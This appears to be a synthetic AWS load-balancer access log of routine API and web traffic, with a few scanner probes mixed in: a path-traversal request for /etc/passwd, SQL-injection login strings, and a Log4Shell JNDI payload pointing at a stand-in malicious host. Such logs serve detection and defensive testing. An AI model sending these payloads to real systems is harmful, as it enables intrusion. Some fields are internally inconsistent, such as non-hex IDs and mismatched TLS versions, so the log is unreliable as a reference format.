0.049908 0.444225 0.086311 200 200 642 4528 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c26f-5e7a7cbdc23a414f8756bbeb" "prod-api-alb.example.com" "-" 8 2024-11-01T00:46:23.040954Z "forward" "-" "-" "10.0.212.151:443" "200" "-" "-" +https 2024-11-01T00:46:23.881410Z prod-api-alb 0.67.145.215:19846 10.0.175.245:443 0.056149 0.350083 0.088976 302 302 815 12198 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c26f-19ac9860466741079c102f4e" "prod-api-alb.example.com" "-" 10 2024-11-01T00:46:23.881410Z "forward" "-" "-" "10.0.175.245:443" "302" "-" "-" +https 2024-11-01T00:46:24.441860Z prod-api-alb 10.135.173.252:12119 10.0.236.184:443 0.059909 0.096484 0.086524 200 200 322 2359 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c270-aabbf58b985f4fa08c289429" "-" "-" 2 2024-11-01T00:46:24.441860Z "forward" "-" "-" "10.0.236.184:443" "200" "-" "-" +https 2024-11-01T00:46:24.811149Z staging-alb 80.217.250.84:57034 197.4.131.7:80 0.026887 0.076875 0.054290 200 200 463 9742 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c270-9a7374a19bd04f85af9e35bc" "staging-alb.example.com" "-" 7 2024-11-01T00:46:24.811149Z "forward" "-" "-" "197.4.131.7:80" "200" "-" "-" +https 2024-11-01T00:46:26.034681Z prod-web-alb 225.198.168.52:59335 10.0.242.20:443 0.020222 0.228006 0.084261 200 200 911 10874 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c272-9a0f9d46435d4b76a62a325b" "prod-web-alb.example.com" "-" 0 2024-11-01T00:46:26.034681Z "forward" "-" "-" "10.0.242.20:443" "200" "-" "-" +https 2024-11-01T00:46:27.126646Z prod-api-alb 226.249.193.109:41334 10.0.128.89:443 0.051020 0.321868 0.077838 200 200 524 8263 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c273-9c19e51afa154f5da9bbfea6" "prod-api-alb.example.com" "-" 4 2024-11-01T00:46:27.126646Z "forward" "-" "-" "10.0.128.89:443" "200" "-" "-" +https 2024-11-01T00:46:28.834446Z prod-api-alb 164.98.33.148:10155 10.0.142.184:443 0.024170 0.253376 0.019451 200 200 164 1294 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c274-068fdebbf25c47c1a82f6cd7" "prod-api-alb.example.com" "-" 5 2024-11-01T00:46:28.834446Z "forward" "-" "-" "10.0.142.184:443" "200" "-" "-" +https 2024-11-01T00:46:30.822029Z prod-api-alb 234.156.202.155:52858 10.0.71.240:443 0.018207 0.374502 0.016105 404 404 187 7321 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c276-5338adbf91eb4a5c910aa734" "prod-api-alb.example.com" "-" 10 2024-11-01T00:46:30.822029Z "forward" "-" "-" "10.0.71.240:443" "404" "-" "-" +https 2024-11-01T00:46:31.075790Z prod-api-alb 142.22.205.37:17556 10.0.183.252:443 0.008594 0.303760 0.053759 200 200 373 9791 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c277-86a1201fffd143dbbe9f23c9" "-" "-" 10 2024-11-01T00:46:31.075790Z "forward" "-" "-" "10.0.183.252:443" "200" "-" "-" +https 2024-11-01T00:46:31.914342Z prod-api-alb 185.181.68.44:61763 10.0.243.122:443 0.084474 0.007841 0.023837 403 403 975 9199 "GET /../../../etc/passwd HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c277-8964d5843bd64111980150b8" "-" "-" 2 2024-11-01T00:46:31.914342Z "forward" "-" "-" "10.0.243.122:443" "403" "-" "-" +http 2024-11-01T00:46:33.112861Z staging-alb 161.50.129.163:63993 118.119.215.56:80 0.073478 0.724279 0.068962 200 200 253 493 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c279-aa2949a7b50a48c0992a8f83" "staging-alb.example.com" "-" 7 2024-11-01T00:46:33.112861Z "forward" "-" "-" "118.119.215.56:80" "200" "-" "-" +https 2024-11-01T00:46:34.146544Z prod-web-alb 4.191.50.161:13442 10.0.170.243:443 0.036535 0.157290 0.082183 301 301 143 2564 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c27a-da42fe1bac2e43c8ad65e6f3" "prod-web-alb.example.com" "-" 9 2024-11-01T00:46:34.146544Z "forward" "-" "-" "10.0.170.243:443" "301" "-" "-" +https 2024-11-01T00:46:34.963765Z prod-api-alb 121.71.209.214:39684 10.0.77.253:443 0.093562 0.472585 0.007493 200 200 278 13210 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c27a-f20c9fbf4cee4f3f84d4a85b" "prod-api-alb.example.com" "-" 6 2024-11-01T00:46:34.963765Z "forward" "-" "-" "10.0.77.253:443" "200" "-" "-" +https 2024-11-01T00:46:35.929682Z staging-alb 116.186.17.227:16894 211.164.52.212:443 0.050546 0.515151 0.098320 301 301 498 5464 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c27b-925b9a7d2c1440d5beba3879" "staging-alb.example.com" "-" 1 2024-11-01T00:46:35.929682Z "forward" "-" "-" "211.164.52.212:443" "301" "-" "-" +https 2024-11-01T00:46:37.812901Z prod-web-alb 174.101.225.21:30116 10.0.22.235:443 0.056361 0.068060 0.059180 404 404 900 12626 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c27d-56540fd5d3664c038470f84b" "prod-web-alb.example.com" "-" 7 2024-11-01T00:46:37.812901Z "forward" "-" "-" "10.0.22.235:443" "404" "-" "-" +https 2024-11-01T00:46:39.044124Z prod-web-alb 236.246.128.61:38930 10.0.2.144:443 0.070755 0.396105 0.067342 200 200 709 2964 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c27f-0af6df698a6c4676a68135b7" "prod-web-alb.example.com" "-" 4 2024-11-01T00:46:39.044124Z "forward" "-" "-" "10.0.2.144:443" "200" "-" "-" +https 2024-11-01T00:46:39.413505Z staging-alb 61.80.150.66:24926 19.80.205.167:8080 0.115011 0.616179 0.070559 200 200 537 9209 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c27f-9e4105fdfd004f9c8b305735" "staging-alb.example.com" "-" 5 2024-11-01T00:46:39.413505Z "forward" "-" "-" "19.80.205.167:8080" "200" "-" "-" +https 2024-11-01T00:46:40.695824Z prod-web-alb 60.226.180.186:44677 10.0.244.178:443 0.073064 0.216948 0.055719 200 200 449 1535 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c280-9e6760c3c5bd4766b58d5439" "prod-web-alb.example.com" "-" 10 2024-11-01T00:46:40.695824Z "forward" "-" "-" "10.0.244.178:443" "200" "-" "-" +http 2024-11-01T00:46:42.456322Z staging-alb 104.11.120.193:21182 165.158.246.227:8080 0.079670 0.557525 0.000160 200 200 130 3308 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c282-8bdd2c95796248b7b65b53ac" "staging-alb.example.com" "-" 1 2024-11-01T00:46:42.456322Z "forward" "-" "-" "165.158.246.227:8080" "200" "-" "-" +https 2024-11-01T00:46:43.725646Z prod-api-alb 149.186.250.6:53372 10.0.114.17:443 0.025420 0.337178 0.063051 200 200 700 5953 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c283-eca8545f19f84929a0b49efd" "prod-api-alb.example.com" "-" 7 2024-11-01T00:46:43.725646Z "forward" "-" "-" "10.0.114.17:443" "200" "-" "-" +http 2024-11-01T00:46:45.358314Z staging-alb 45.155.205.170:19980 127.236.228.127:443 0.076780 0.124787 0.111455 200 200 710 9293 "POST /login?id=1'-- HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c285-fb2f21bb60374bedb79d388c" "-" "-" 2 2024-11-01T00:46:45.358314Z "forward" "-" "-" "127.236.228.127:443" "200" "-" "-" +https 2024-11-01T00:46:46.297169Z prod-web-alb 31.81.153.93:45626 10.0.17.124:443 0.072624 0.373032 0.088454 200 200 503 860 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c286-3f87ade7d2da4b32a7b7c714" "prod-web-alb.example.com" "-" 10 2024-11-01T00:46:46.297169Z "forward" "-" "-" "10.0.17.124:443" "200" "-" "-" +https 2024-11-01T00:46:47.359900Z prod-web-alb 57.1.22.185:62435 10.0.74.168:443 0.031907 0.016765 0.043658 302 302 644 3162 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c287-c83550ca34b64ddcb621073a" "prod-web-alb.example.com" "-" 10 2024-11-01T00:46:47.359900Z "forward" "-" "-" "10.0.74.168:443" "302" "-" "-" +https 2024-11-01T00:46:47.879845Z prod-api-alb 33.235.238.126:43903 10.0.53.162:443 0.077050 0.421489 0.070740 200 200 704 10221 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c287-b55305b5a4e446a5a57b77ac" "prod-api-alb.example.com" "-" 5 2024-11-01T00:46:47.879845Z "forward" "-" "-" "10.0.53.162:443" "200" "-" "-" +https 2024-11-01T00:46:48.666002Z staging-alb 185.181.125.99:29327 187.41.77.53:80 0.135631 0.266120 0.090815 403 403 856 1588 "POST /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c288-696d3109058641c3a774ad1d" "-" "-" 6 2024-11-01T00:46:48.666002Z "forward" "-" "-" "187.41.77.53:80" "403" "-" "-" +https 2024-11-01T00:46:49.057357Z prod-api-alb 189.118.32.79:51226 10.0.201.204:443 0.035699 0.367992 0.008635 302 302 245 11584 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c289-f8685e39dec04af38935e1e6" "prod-api-alb.example.com" "-" 3 2024-11-01T00:46:49.057357Z "forward" "-" "-" "10.0.201.204:443" "302" "-" "-" +https 2024-11-01T00:46:50.187397Z prod-api-alb 77.215.232.135:36685 10.0.149.48:443 0.030306 0.024894 0.074846 200 200 221 9207 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c28a-1a0c47cb9feb4823b3dce98c" "prod-api-alb.example.com" "-" 7 2024-11-01T00:46:50.187397Z "forward" "-" "-" "10.0.149.48:443" "200" "-" "-" +http 2024-11-01T00:46:51.127317Z staging-alb 234.161.30.183:49009 136.245.26.28:80 0.127353 0.714915 0.061329 200 200 586 10080 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c28b-e8e7e7314a78499d944bfa5b" "staging-alb.example.com" "-" 3 2024-11-01T00:46:51.127317Z "forward" "-" "-" "136.245.26.28:80" "200" "-" "-" +https 2024-11-01T00:46:51.442395Z prod-web-alb 232.227.18.1:43906 10.0.57.73:443 0.062914 0.031483 0.038322 200 200 3 2648 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c28b-775bfec280a049e7bcfe6266" "prod-web-alb.example.com" "-" 5 2024-11-01T00:46:51.442395Z "forward" "-" "-" "10.0.57.73:443" "200" "-" "-" +https 2024-11-01T00:46:52.343949Z prod-api-alb 74.9.113.222:17349 10.0.59.201:443 0.024084 0.482872 0.004677 200 200 410 7885 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c28c-2d89487960c147f4afa96ea8" "prod-api-alb.example.com" "-" 4 2024-11-01T00:46:52.343949Z "forward" "-" "-" "10.0.59.201:443" "200" "-" "-" +https 2024-11-01T00:46:52.863823Z prod-web-alb 249.116.224.46:29418 10.0.146.13:443 0.047366 0.218096 0.081891 200 200 114 10197 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c28c-af41f5d2a63c4ed382fa4aca" "prod-web-alb.example.com" "-" 2 2024-11-01T00:46:52.863823Z "forward" "-" "-" "10.0.146.13:443" "200" "-" "-" +https 2024-11-01T00:46:52.969457Z prod-api-alb 244.115.217.128:53993 10.0.182.84:443 0.015439 0.450325 0.046036 200 200 210 2201 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c28c-a821f2ba97fa4216914193ac" "prod-api-alb.example.com" "-" 6 2024-11-01T00:46:52.969457Z "forward" "-" "-" "10.0.182.84:443" "200" "-" "-" +https 2024-11-01T00:46:54.686320Z prod-web-alb 185.181.39.39:50964 10.0.65.77:443 0.057041 0.453370 0.052756 200 200 334 13152 "GET /admin/login?username=admin'--&password=x HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c28e-5a85504aa59044969d3de9ef" "-" "-" 3 2024-11-01T00:46:54.686320Z "forward" "-" "-" "10.0.65.77:443" "200" "-" "-" +https 2024-11-01T00:46:56.655609Z prod-api-alb 35.70.238.129:17300 10.0.33.200:443 0.060085 0.070110 0.038248 302 302 401 14061 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c290-0110684dc49c474cad96bb38" "prod-api-alb.example.com" "-" 5 2024-11-01T00:46:56.655609Z "forward" "-" "-" "10.0.33.200:443" "302" "-" "-" +https 2024-11-01T00:46:58.182790Z staging-alb 6.110.148.212:10322 79.35.234.86:8080 0.138051 0.050229 0.121250 200 200 405 7117 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c292-fc365d90886e461a89d8796f" "staging-alb.example.com" "-" 8 2024-11-01T00:46:58.182790Z "forward" "-" "-" "79.35.234.86:8080" "200" "-" "-" +https 2024-11-01T00:46:58.767356Z prod-api-alb 23.65.37.76:56984 10.0.161.74:443 0.017442 0.036906 0.065933 404 404 307 1669 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c292-427f2114764b4d238b2a8e95" "prod-api-alb.example.com" "-" 2 2024-11-01T00:46:58.767356Z "forward" "-" "-" "10.0.161.74:443" "404" "-" "-" +https 2024-11-01T00:47:00.210755Z prod-web-alb 173.1.135.104:52925 10.0.23.104:443 0.093238 0.343846 0.066531 200 200 996 10837 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c294-1aec70a740d64cadb75f0500" "prod-web-alb.example.com" "-" 3 2024-11-01T00:47:00.210755Z "forward" "-" "-" "10.0.23.104:443" "200" "-" "-" +https 2024-11-01T00:47:01.974550Z prod-api-alb 181.63.94.197:15066 10.0.104.114:443 0.074631 0.345972 0.074742 200 200 184 2728 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c295-2609c8e71a4a4e5c81c08cc0" "prod-api-alb.example.com" "-" 1 2024-11-01T00:47:01.974550Z "forward" "-" "-" "10.0.104.114:443" "200" "-" "-" +https 2024-11-01T00:47:03.129000Z prod-web-alb 50.62.204.14:40139 10.0.134.108:443 0.059821 0.365944 0.051886 404 404 361 8140 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c297-ae2bb4bcc6084b099ca40901" "prod-web-alb.example.com" "-" 0 2024-11-01T00:47:03.129000Z "forward" "-" "-" "10.0.134.108:443" "404" "-" "-" +https 2024-11-01T00:47:04.814135Z prod-api-alb 176.30.247.131:39594 10.0.249.180:443 0.016242 0.010423 0.083111 200 200 983 14648 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c298-1bb6f59ef08a41a992ed0e1c" "prod-api-alb.example.com" "-" 4 2024-11-01T00:47:04.814135Z "forward" "-" "-" "10.0.249.180:443" "200" "-" "-" +https 2024-11-01T00:47:06.190566Z prod-web-alb 249.77.0.36:13372 10.0.131.127:443 0.048471 0.170233 0.014646 301 301 57 14160 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c29a-51b5f682077446ca929d759d" "prod-web-alb.example.com" "-" 3 2024-11-01T00:47:06.190566Z "forward" "-" "-" "10.0.131.127:443" "301" "-" "-" +http 2024-11-01T00:47:07.245504Z staging-alb 174.75.204.29:22040 46.92.77.156:8080 0.115234 0.004643 0.082597 404 404 786 7450 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c29b-f2bd2d02dbed4edcaae219dc" "staging-alb.example.com" "-" 4 2024-11-01T00:47:07.245504Z "forward" "-" "-" "46.92.77.156:8080" "404" "-" "-" +http 2024-11-01T00:47:07.916373Z staging-alb 192.216.214.130:32122 45.150.17.22:8080 0.075318 0.679862 0.070590 404 404 723 9064 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c29b-9b656beb50f144c9aff631d6" "staging-alb.example.com" "-" 10 2024-11-01T00:47:07.916373Z "forward" "-" "-" "45.150.17.22:8080" "404" "-" "-" +https 2024-11-01T00:47:08.753490Z staging-alb 228.245.9.49:13980 114.154.54.70:443 0.132183 0.711274 0.062516 200 200 785 2450 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c29c-a92901b6fe664852930066be" "staging-alb.example.com" "-" 10 2024-11-01T00:47:08.753490Z "forward" "-" "-" "114.154.54.70:443" "200" "-" "-" +http 2024-11-01T00:47:09.892806Z staging-alb 118.203.239.136:32374 103.206.133.10:443 0.111079 0.679919 0.133084 301 301 199 422 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c29d-19d96c4471594907bda04f4f" "staging-alb.example.com" "-" 1 2024-11-01T00:47:09.892806Z "forward" "-" "-" "103.206.133.10:443" "301" "-" "-" +https 2024-11-01T00:47:11.165783Z prod-api-alb 112.187.24.33:34520 10.0.80.139:443 0.010294 0.432577 0.020123 200 200 608 12179 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c29f-6a485cb29191444184a84fa1" "prod-api-alb.example.com" "-" 1 2024-11-01T00:47:11.165783Z "forward" "-" "-" "10.0.80.139:443" "200" "-" "-" +https 2024-11-01T00:47:12.615424Z prod-web-alb 174.31.127.177:43376 10.0.250.185:443 0.054159 0.005405 0.020706 301 301 424 13869 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c2a0-647d2fdd80924851b7de194a" "prod-web-alb.example.com" "-" 0 2024-11-01T00:47:12.615424Z "forward" "-" "-" "10.0.250.185:443" "301" "-" "-" +https 2024-11-01T00:47:12.825077Z prod-web-alb 239.158.127.234:15307 10.0.95.168:443 0.075801 0.158898 0.037647 404 404 453 7066 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c2a0-2df785923cc34dd68c9bbc79" "prod-web-alb.example.com" "-" 6 2024-11-01T00:47:12.825077Z "forward" "-" "-" "10.0.95.168:443" "404" "-" "-" +https 2024-11-01T00:47:13.075744Z 